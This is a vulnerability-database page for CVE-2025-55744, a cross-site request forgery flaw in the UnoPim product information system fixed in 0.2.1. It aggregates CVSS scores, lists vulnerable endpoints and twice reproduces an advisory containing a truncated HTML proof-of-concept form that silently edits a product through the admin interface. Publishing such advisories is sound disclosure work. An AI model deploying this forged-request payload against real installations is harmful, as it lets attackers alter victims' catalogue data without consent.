CVE-2025-55744
UnoPim vulnerable to CSRF on Product edit feature and creation of other types
UnoPim is an open-source Product Information Management (PIM) system built on the Laravel framework. Before 0.2.1, some of the endpoints of the application is vulnerable to Cross site Request forgery (CSRF). This vulnerability is fixed in 0.2.1.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- High
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
6.9
UnoPim vulnerable to CSRF on Product edit feature and creation of other types
UnoPim is an open-source Product Information Management (PIM) system built on the Laravel framework. Before 0.2.1, some of the endpoints of the application is vulnerable to Cross site Request forgery (CSRF). This vulnerability is fixed in 0.2.1.
- Record
CVE-2025-55744- CVSS 4.0
- 6.9 Medium
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P - Weakness
- CWE-352
- Updated
- 2026-11-02
EUVDEUVD-2025-25449
6.9
UnoPim is an open-source Product Information Management (PIM) system built on the Laravel framework. Before 0.2.1, some of the endpoints of the application is vulnerable to Cross site Request forgery (CSRF). This vulnerability is fixed in 0.2.1.
- Record
EUVD-2025-25449- CVSS 4.0
- 6.9 Medium
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-287x-6r2h-f9mw
6.9
UnoPim vulnerable to CSRF on Product edit feature and creation of other types
Summary
Some of the endpoints of the application is vulnerable to Cross site Request forgery (CSRF).
| Method | Endpoint | Status | Reason |
|:------:|:------:|:------:|:------:|
| POST | /admin/catalog/products/create | Not Vulnerable :white_check_mark: | X-XSRF-TOKEN header used |
| GET | /admin/catalog/products/copy/{id}| Vulnerable :x: | Missing X-XSRF-TOKEN header or similar protection |
| POST | /admin/catalog/products/edit/{id}| Vulnerable :x: | Missing X-XSRF-TOKEN header or similar protection |
| POST | /admin/settings/users/create | Not Vulnerable :white_check_mark: | X-XSRF-TOKEN header used |
The below are some of the vulnerable endpoints that allow state changing actions including but not limited to:
/admin/catalog/categories/create
/admin/catalog/categories/edit/{id}
/admin/catalog/category-fields/create
/admin/catalog/category-fields/edit/{id}
/admin/catalog/attributes/create
/admin/catalog/attributes/edit/{id}
Details
CSRF attack happens when you visit an attacker controlled website which sends a cross origin request to vulnerable application in order to perform a state changing operation like edit the price of a product without the intention of victim.
In this case, the POST request doesn't need any special headers ( X-XSRF-TOKEN header missing ) and the content-type is either application/x-www-form-urlencoded or multipart/form-data so we can say this is a Simple request ( doesn't need preflight request ). The cookies are send because samesite is set to None. We have every ingredients for a successful CSRF attack.
PoC
1. Go to any product and click on Edit.
2. Capture the request on Burp, right click and generate a CSRF POC ( or use the below csrf-poc.html )
3. Access the poc.html and press submit request, the cross origin request will be send and we can see the price of the product has been changed.
POC Video link: https://drive.proton.me/urls/VXNDKQ4WKR#LpvE777hl8OJ
csrf-poc.html:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://127.0.0.1:8000/admin/catalog/products/edit/7" method="POST" enctype="multipart/form-data">
<input type="hidden" name="_token" value="s9Egihm0RD1Pd1NxhvTrx0a4qKCdl0UTSzyyJaK5" />
<input type="hidden" name="_method" value="PUT" />
<input type="hidden" name="sku" value="SM-BL-102" />
<input type="hidden" name="channel" value="default" />
<input type="hidden" name="locale" value="en_US" />
<input type="hidden" name="values[common][sku]" value="SM-BL-102" />
<input type="hidden" name="uniqueFields[values.common.sku]" value="values[common][sku]" />
<input type="hidden" name="values[common][product_number]" value="" />
<input type="hidden" name="uniqueFields[values.common.product_number]" value="values[common][product_number]" />
<input type="hidden" name="values[channel_locale_specific][default][en_US][name]" value="test" />
<input type="hidden" name="values[common][url_key]" value="fffkk" />
<input type="hidden" name="uniqueFields[values.common.url_key]" value="values[common][url_key]" />
<input type="hidden" name="values[channel_specific][default][tax_category_id]" value="" />
<input type="hidden" name="values[channel_specific][default][tax_category_id]" value="" />
<input type="hidden" name="values[common][color]" value="" />
<input type="hidden" name="values[common][color]" value="" />
<input type="hidden" name="values[common][size]" value="" />
<input…
- Record
GHSA-287x-6r2h-f9mw- CVSS 4.0
- 6.9 Medium
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P - Weakness
- CWE-352
- Updated
- 2026-11-02
NVD
6.9
UnoPim is an open-source Product Information Management (PIM) system built on the Laravel framework. Before 0.2.1, some of the endpoints of the application is vulnerable to Cross site Request forgery (CSRF). This vulnerability is fixed in 0.2.1.
- Record
CVE-2025-55744- CVSS 4.0
- 6.9 Medium
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 4.3 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N - Weakness
- CWE-352
- Updated
- 2026-11-02
OSV
6.9
UnoPim vulnerable to CSRF on Product edit feature and creation of other types
UnoPim is an open-source Product Information Management (PIM) system built on the Laravel framework. Before 0.2.1, some of the endpoints of the application is vulnerable to Cross site Request forgery (CSRF). This vulnerability is fixed in 0.2.1.
- Record
CVE-2025-55744- CVSS 4.0
- 6.9 Medium
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P - Weakness
- CWE-352
- Updated
- 2026-11-02
OSVGHSA-287x-6r2h-f9mw
6.9
UnoPim vulnerable to CSRF on Product edit feature and creation of other types
Summary
Some of the endpoints of the application is vulnerable to Cross site Request forgery (CSRF).
| Method | Endpoint | Status | Reason |
|:------:|:------:|:------:|:------:|
| POST | /admin/catalog/products/create | Not Vulnerable :white_check_mark: | X-XSRF-TOKEN header used |
| GET | /admin/catalog/products/copy/{id}| Vulnerable :x: | Missing X-XSRF-TOKEN header or similar protection |
| POST | /admin/catalog/products/edit/{id}| Vulnerable :x: | Missing X-XSRF-TOKEN header or similar protection |
| POST | /admin/settings/users/create | Not Vulnerable :white_check_mark: | X-XSRF-TOKEN header used |
The below are some of the vulnerable endpoints that allow state changing actions including but not limited to:
/admin/catalog/categories/create
/admin/catalog/categories/edit/{id}
/admin/catalog/category-fields/create
/admin/catalog/category-fields/edit/{id}
/admin/catalog/attributes/create
/admin/catalog/attributes/edit/{id}
Details
CSRF attack happens when you visit an attacker controlled website which sends a cross origin request to vulnerable application in order to perform a state changing operation like edit the price of a product without the intention of victim.
In this case, the POST request doesn't need any special headers ( X-XSRF-TOKEN header missing ) and the content-type is either application/x-www-form-urlencoded or multipart/form-data so we can say this is a Simple request ( doesn't need preflight request ). The cookies are send because samesite is set to None. We have every ingredients for a successful CSRF attack.
PoC
1. Go to any product and click on Edit.
2. Capture the request on Burp, right click and generate a CSRF POC ( or use the below csrf-poc.html )
3. Access the poc.html and press submit request, the cross origin request will be send and we can see the price of the product has been changed.
POC Video link: https://drive.proton.me/urls/VXNDKQ4WKR#LpvE777hl8OJ
csrf-poc.html:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://127.0.0.1:8000/admin/catalog/products/edit/7" method="POST" enctype="multipart/form-data">
<input type="hidden" name="_token" value="s9Egihm0RD1Pd1NxhvTrx0a4qKCdl0UTSzyyJaK5" />
<input type="hidden" name="_method" value="PUT" />
<input type="hidden" name="sku" value="SM-BL-102" />
<input type="hidden" name="channel" value="default" />
<input type="hidden" name="locale" value="en_US" />
<input type="hidden" name="values[common][sku]" value="SM-BL-102" />
<input type="hidden" name="uniqueFields[values.common.sku]" value="values[common][sku]" />
<input type="hidden" name="values[common][product_number]" value="" />
<input type="hidden" name="uniqueFields[values.common.product_number]" value="values[common][product_number]" />
<input type="hidden" name="values[channel_locale_specific][default][en_US][name]" value="test" />
<input type="hidden" name="values[common][url_key]" value="fffkk" />
<input type="hidden" name="uniqueFields[values.common.url_key]" value="values[common][url_key]" />
<input type="hidden" name="values[channel_specific][default][tax_category_id]" value="" />
<input type="hidden" name="values[channel_specific][default][tax_category_id]" value="" />
<input type="hidden" name="values[common][color]" value="" />
<input type="hidden" name="values[common][color]" value="" />
<input type="hidden" name="values[common][size]" value="" />
<input…
- Record
GHSA-287x-6r2h-f9mw- CVSS 4.0
- 6.9 Medium
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P - Weakness
- CWE-352
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
unopim/unopimPackagist |
through 0.2.0 | 0.2.1 |
unopim/unopimPackagist |
before 0.2.1, plus listed versions v0.1.0v0.1.1v0.1.2v0.1.3v0.1.4v0.1.5v0.1.6v0.2.0 |
0.2.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2025-55744 is a medium vulnerability (CVSS 6.9) in Unopim, published August 21, 2025. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.15%, the 4th percentile. Fixed in unopim/unopim 0.2.1.
References
Left out here: the rest of 2 source descriptions. The JSON record has them.